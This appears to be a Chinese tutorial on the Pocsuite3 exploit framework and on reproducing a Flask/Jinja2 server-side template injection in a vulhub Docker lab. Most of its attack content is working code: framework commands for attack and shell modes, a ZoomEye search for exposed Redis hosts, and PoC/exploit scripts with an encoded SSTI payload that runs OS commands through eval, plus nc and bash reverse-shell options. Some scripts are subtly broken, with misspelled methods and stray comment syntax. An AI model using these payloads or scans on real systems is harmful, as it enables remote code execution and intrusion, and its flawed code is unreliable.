Pocsuite是由“知道创宇404实验室”打造的一款开源的远程漏洞测试框架。它是知道创宇安全研究团队发展的基石,是团队发展至今一直维护的一个项目。
Pocsuite3的安装
1 git clone git@github.com:nopesec/pocsuite3.git
1 wget https://github.com/knownsec/pocsuite3/archive/master.zip
使用方法
Verify验证模式,验证目标是否存在漏洞。-r为脚本路径,-u为目标地址,命令如下:
1 pocsuite.py -r pocs/test1.py -u http://192.168.150.15 --verify
批量验证,将需要验证的所有目标IP写到一个txt文件中批量使用,命令如下:
1 pocsuite.py -r pocs/test1.py -f url.txt --verify
加载文件夹下的所有poc对目标进行测试,-r为文件夹路径,命令如下:
1 pocsuite.py -r pocs/* -u http://192.168.150.15 --verify
1 pocsuite.py -r pocs/test1.py -u http://192.168.150.15 --verify --threads 10
使用Zoomeye搜索引擎,搜索开放端口为6379的Redis服务,命令如下:
1 cli.py --dork 'port:6379' --vul-keyword 'redis' --max-page 2
1 pocsuite.py -r pocs/test1.py -u http://192.168.150.15 --attack
使用shell交互模式,对目标进行远程控制,命令如下:
1 pocsuite.py -r pocs/test1.py -u http://192.168.150.15 --shell
使用自定义命令’command’,调用外部传递参数,进行半交互式命令执行,命令如下:
1 pocsuite.py -u http://192.168.150.15 -r pocs/test1.py --attack --command "whoami"
flask ssti漏洞复现 Flask简介 Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。
Flask属于微框架,这既是优点也是缺点,优点是框架轻量,更新依赖少,更容易专注于安全方面的漏洞,缺点是不得不通过添加插件来增加依赖列表。Flask依赖中就有造成模板注入漏洞的插件jinja2的模板引擎,Jinja2是一个面向Python的模板语言。
漏洞复现 环境实在docker环境下建立的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // 下载靶场源码 wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip unzip vulhub-master.zip cd vulhub-master // 进入漏洞环境目录 cd flask/ssti // 编译下载漏洞环境所需配置 docker-compose build // 启动漏洞环境 docker-compose up -d
从这里可以看到靶机运行在8000端口,查看app源代码可以看出name的值是直接从get参数中获取的,所以Template是完全可控的。先手动测以下:
POC脚本的编写 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from collections import OrderedDict from urllib.parse import urljoin import re from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY class DemoPOC(POCBase): vulID = '1.1' //ssvid ID,如果提交漏洞的同时提交poc,则写成0 version = '1.1' // 默认为1 author = ['1.1'] //poc作者名字 vulDate = '1.1' //漏洞公开的日期 createDate = '1.1' //编写poc的日期 updateDate = '1.1' //poc更新的时间 references = ['1.1'] // 漏洞地址来源 name = 'flack' //poc名称 appPowerLink = 'flack' //漏洞厂商的主页地址 appName = 'flask' //漏洞应用名称 appVersion = 'flask' //漏洞影响版本 vulType = VUL_TYPE.CODE_EXECUTION //漏洞类型 desc = ''' ''' //漏洞简要描述 samples = ['96.234.71.117:80'] //测试样例。 category = POC_CATEGORY.EXPLOITS.REMOTE def _verify(self): result = {} path = "/?name=" url = urljoin(self.url,path) payload = "{{22*22}}" resq = requests.get(url + payload) try: if resq and resq.status_code == 200 and "484" in resq.text: result['VerifyInfo'] = {} result['VerifyInfo']['url'] = url result['VerifyInfo']['Name'] = payload except Exception as e: pass return self.parse_output(result) def parse_output(self,result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output def _attck(self): return self._verify() register_poc(DemoPOC)
执行结果如下:
exp脚本编写 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from collections import OrderedDict from urllib.parse import urljoin import re from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY class DemoPOC(POCBase): vulID = '1.1' version = '1.1' author = ['1.1'] vulDate = '1.1' createDate = '1.1' updateDate = '1.1' references = ['1.1'] name = 'flack' appPowerLink = 'flack' appName = 'flask' appVersion = 'flask' vulType = VUL_TYPE.CODE_EXECUTION desc = ''' ''' samples = ['96.234.71.117:80'] category = POC_CATEGORY.EXPLOITS.REMOTE def _options(self): o = OrderedDict() payload = { "nc": REVERSE_PAYLOAD.NC, "bash": REVERSE_PAYLOAD.BASH, } o["command"] = OptDict(selected="bash", default=payload) return o def _verify(self): output = Output(self) result = {} # 攻击代码 def trim(str): newstr = '' for ch in str: # 遍历每一个字符串 if ch != ' ': newstr = newstr + ch return newstr def _attack(self): result = {} path = "?name=" url = self.url + path # print(url) cmd = self.get_option("command") payload = 'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("whoami").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D' # print(payload) try: resq = requests.get(url + payload) t = resq.text t = t.replace('\n', '').replace('\r', '') print(t) t = t.replace(" ", "") result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['Name'] = payload except Exception as e: return return self.parse_attack(result) def parse_attack(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output def _shell(self): return def parse_verify(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output register_poc(DemoPOC)
执行结果如下:
利用pocsuite 3开源框架,可以接收用户输入的命令行参数,对目标系统进行半交互控制,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 from collections import OrderedDict from urllib.parse import urljoin import re from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY class DemoPOC(POCBase): vulID = '1.1' version = '1.1' author = ['1.1'] vulDate = '1.1' createDate = '1.1' updateDate = '1.1' references = ['flask'] name = 'flask' appPowerLink = 'flask' appName = 'flask' appVersion = 'flask' vulType = VUL_TYPE.CODE_EXECUTION desc = ''' ''' samples = ['96.234.71.117:80'] category = POC_CATEGORY.EXPLOITS.REMOTE def _options(self): o = OrderedDict() payload = { "nc": REVERSE_PAYLOAD.NC, "bash": REVERSE_PAYLOAD.BASH, } o["command"] = OptDict(selected="bash", default=payload) return o def _verify(self): result = {} path = "?name=" url = self.url + path # print(url) payload = "{{22*22}}" # print(payload) try: resq = requests.get(url + payload) if resq and resq.status_code == 200 and "484" in resq.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['Name'] = payload except Exception as e: return return self.parse_verify(result) def trim(str): newstr = '' for ch in str: # 遍历每一个字符串 if ch != ' ': newstr = newstr + ch return newstr def _attack(self): result = {} path = "?name=" url = self.url + path # print(url) cmd = self.get_option("command") payload = 'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("id").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D' # print(payload) try: resq = requests.get(url + payload) t = resq.text t = t.replace('\n', '').replace('\r', '') print(t) t = t.replace(" ", "") result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['Name'] = payload except Exception as e: return return self.parse_attack(result) def parse_attack(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output def _shell(self): return def parse_verify(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output register_poc(DemoPOC)
执行结果如下:
参考